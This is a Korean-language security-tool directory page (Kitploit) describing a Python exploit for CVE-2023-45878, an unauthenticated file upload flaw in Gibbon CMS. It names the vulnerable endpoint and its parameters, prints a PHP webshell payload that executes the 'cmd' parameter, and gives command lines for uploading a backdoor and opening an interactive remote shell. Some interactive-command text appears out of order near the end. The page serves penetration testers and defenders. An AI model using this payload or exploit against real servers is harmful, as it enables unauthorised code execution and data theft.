Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-45878 — CVE-2023-45878을 위한 자동화된 Python 익스플로잇, Gibbon CMS의 인증되지 않은 파일 업로드 취약점으로, 대화형 쉘 및 파일 전송 기능을 갖춘 PHP 웹쉘 배포를 통해 원격 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/can0i0ever0enter/cve-2023-45878
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcan0i0ever0enter/cve-2023-45878

CVE-2023-45878

CVE-2023-45878을 위한 자동화된 Python 익스플로잇, Gibbon CMS의 인증되지 않은 파일 업로드 취약점으로, 대화형 쉘 및 파일 전송 기능을 갖춘 PHP 웹쉘 배포를 통해 원격 코드 실행을 가능하게 합니다.

저장소 보기
31년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gibbon CMS (CVE-2023-45878) 익스플로잇

이 Python 스크립트는 Gibbon CMS 버전 25.0.1 이하에서 인증 없이 임의 파일 업로드가 가능한 취약점인 CVE-2023-45878을 악용하여 원격 코드 실행(RCE)을 수행합니다.

취약점 설명

CVE-2023-45878은 Gibbon CMS의 rubrics_visualise_saveAjax.php 엔드포인트에 존재합니다. 이 엔드포인트는 인증을 요구하지 않으며 임의 파일 쓰기를 허용하기 때문에 취약합니다.

취약점은 다음으로 인해 발생합니다.

  • 인증되지 않은 접근: modules/Rubrics/rubrics_visualise_saveAjax.php 엔드포인트는 인증 없이 접근할 수 있습니다.
  • 임의 파일 쓰기: 이 엔드포인트는 img, path, gibbonPersonID POST 파라미터를 허용합니다.
    • img 파라미터는 특별히 포맷된 데이터를 포함해야 하며, 쉼표 뒤의 부분은 base64로 인코딩된 문자열입니다.
    • path 파라미터가 제공되면 Gibbon 설치 디렉토리를 기준으로 업로드된 파일의 대상 파일명으로 사용됩니다.
    • 스크립트는 img 파라미터에서 base64로 인코딩된 콘텐츠를 디코딩하여 path 파라미터로 지정된 파일에 씁니다.
  • 원격 코드 실행: 악의적인 img 파라미터(PHP 코드가 base64로 인코딩된 예: <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>)를 조작하고 웹 서버를 통해 접근 가능한 .php 파일이 되는 path를 지정함으로써 공격자는 PHP 웹쉘을 업로드하고 취약한 서버에서 원격 코드 실행을 달성할 수 있습니다.

스크립트 기능

이 Python 스크립트는 CVE-2023-45878의 익스플로잇을 자동화합니다. 다음 작업을 수행합니다.

  1. PHP 웹쉘 업로드: modules/Rubrics/rubrics_visualise_saveAjax.php에 악의적인 POST 요청을 조작하여 PHP 웹쉘을 업로드합니다. 웹쉘 페이로드는 <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>이며, {VERIFY_TAG}는 사용자 정의 가능한 태그입니다. 페이로드는 base64로 인코딩되어 img 파라미터 내에 전송됩니다.
  2. 쉘 검증: 간단한 명령어(예: cmd=echo)를 포함하는 GET 요청을 보내고 응답에서 VERIFY_TAG를 확인하여 업로드된 쉘이 접근 가능하고 기능하는지 검증할 수 있습니다. 또한 --verify 또는 --interactive 옵션이 사용되면 기존 쉘에 대한 사전 확인을 수행합니다.
  3. 대화형 쉘 모드: 쉘이 업로드되고 검증되면(또는 사전 확인 중에 발견되면) 스크립트는 대화형 모드로 전환할 수 있습니다. 이 모드의 기능은 다음과 같습니다.
    • 원격 운영 체제(Windows/Linux) 탐지하여 명령어를 조정합니다.
    • 현재 사용자, 호스트명 및 원격 작업 디렉토리(예: user@host:cwd$)를 표시하는 동적 프롬프트를 제공합니다.
    • 원격 작업 디렉토리를 변경하기 위한 cd 명령어의 내장 처리를 지원합니다.
    • 특수 클라이언트 측 명령어:
      • !help: 대화형 명령어에 대한 도움말을 표시합니다.

사용법

root@kitploit:~
python3 exploit.py <target_url> [options]

인자:

  • target_url: 대상 Gibbon CMS 인스턴스의 기본 URL입니다. 스크립트는 스킴이 제공되지 않으면 http://를 앞에 추가하고 후행 슬래시를 보장합니다 (예: http://example.com/gibbon 또는 example.com/gibbon).

옵션:

  • -s <shell_path>, --shell-path <shell_path>: 업로드할 쉘의 원하는 경로와 파일명을 지정합니다 (예: shell.php, uploads/shell.php). 생략하면 Gibbon 기본 디렉토리에 무작위 8자 파일명에 .php 확장자가 생성됩니다. 경고: 지정된 경로가 웹 서버에 의해 쓰기 가능하고 웹을 통해 접근 가능한지 확인하십시오.
  • -v, --verify: 쉘 업로드를 시도한 후 작동하는지 확인합니다. 이 옵션은 또한 지정된 이름과 태그를 가진 쉘이 이미 존재하는지 사전 확인을 트리거합니다. 존재하는 경우 업로드를 건너뜁니다.
  • -i, --interactive: 대화형 쉘 모드로 진입합니다. 쉘이 이미 존재하지 않는 경우(사전 확인으로 확인), 먼저 업로드 및 검증됩니다.
  • -t <tag>, --tag <tag>: 검증 목적으로 웹쉘 페이로드에 사용되는 사용자 정의 정적 태그를 지정합니다. (기본값: ExploitGibbon).
  • --timeout <timeout>: HTTP 요청 제한 시간(초)을 설정합니다. (기본값: 20).

예제:

  • 기본 익스플로잇, 기본 Gibbon 디렉토리에 무작위 쉘 이름 및 기본 태그:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/
    
  • 익스플로잇, 기본 Gibbon 디렉토리에 쉘 파일명 my_shell.php 지정 및 기본 태그:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s my_shell.php
    
  • 익스플로잇, 쉘 파일 backdoor.php를 uploads/에 업로드, 검증 및 사용자 정의 태그 사용:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
    
  • 익스플로잇, 쉘 업로드 및 기본 태그와 30초 제한 시간으로 대화형 모드 진입:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
    
  • 기존 쉘로 대화형 모드 진입 (스크립트가 존재 여부를 사전 확인):

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
    
  • existing_shell.php라는 쉘이 기본 태그로 활성화되어 있는지만 확인 (없으면 업로드 시도):

    root@kitploit:~

요구 사항

  • Python 3.7+ (f-strings, type hinting, dataclasses, pathlib 사용 때문)
  • requests 라이브러리: pip install requests로 설치
  • rich 라이브러리: pip install rich로 설치
  • prompt_toolkit 라이브러리 (선택 사항, 향상된 대화형 모드용): pip install prompt_toolkit로 설치

면책 조항

이 스크립트는 교육 및 보안 테스트 목적으로만 제공됩니다. 사용에 따른 책임은 사용자 본인에게 있으며, 명시적인 테스트 허가를 받은 시스템에 대해서만 사용하십시오. 저자는 이 스크립트의 오용이나 손해에 대해 책임을 지지 않습니다. 승인 없이 취약점을 악용하는 것은 불법이며 비윤리적입니다.

참고 자료

  • NVD의 CVE-2023-45878
  • Herolab Security Advisory USD-2023-0025
  • GibbonEdu Core 소스 (rubrics_visualise_saveAjax.php 취약 버전 v25.0.01)
도구 다운로드
  • !upload <local_path> [remote_path]: 웹쉘을 통해 로컬 파일을 대상 서버에 업로드합니다.
  • !download <remote_path> [local_path]: 대상 서버에서 파일을 다운로드합니다.
  • !lcd <path>: 로컬 현재 작업 디렉토리를 변경합니다.
  • !ldir [path]: 로컬 현재 작업 디렉토리 또는 지정된 경로의 파일 및 디렉토리를 나열합니다.
  • 가능한 경우 prompt_toolkit 라이브러리를 사용하여 향상된 명령줄 경험(히스토리, 개선된 편집)을 제공하며, 그렇지 않으면 Python 내장 input()으로 대체합니다.
  • 파일 작업: 대화형 !upload 명령어는 취약한 엔드포인트를 재사용하여 임의 파일을 쓰고, !download 명령어는 웹쉘을 통해 실행된 시스템 명령어(예: base64 또는 PowerShell의 [Convert]::ToBase64String)를 사용하여 파일 콘텐츠를 검색합니다.
  • python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v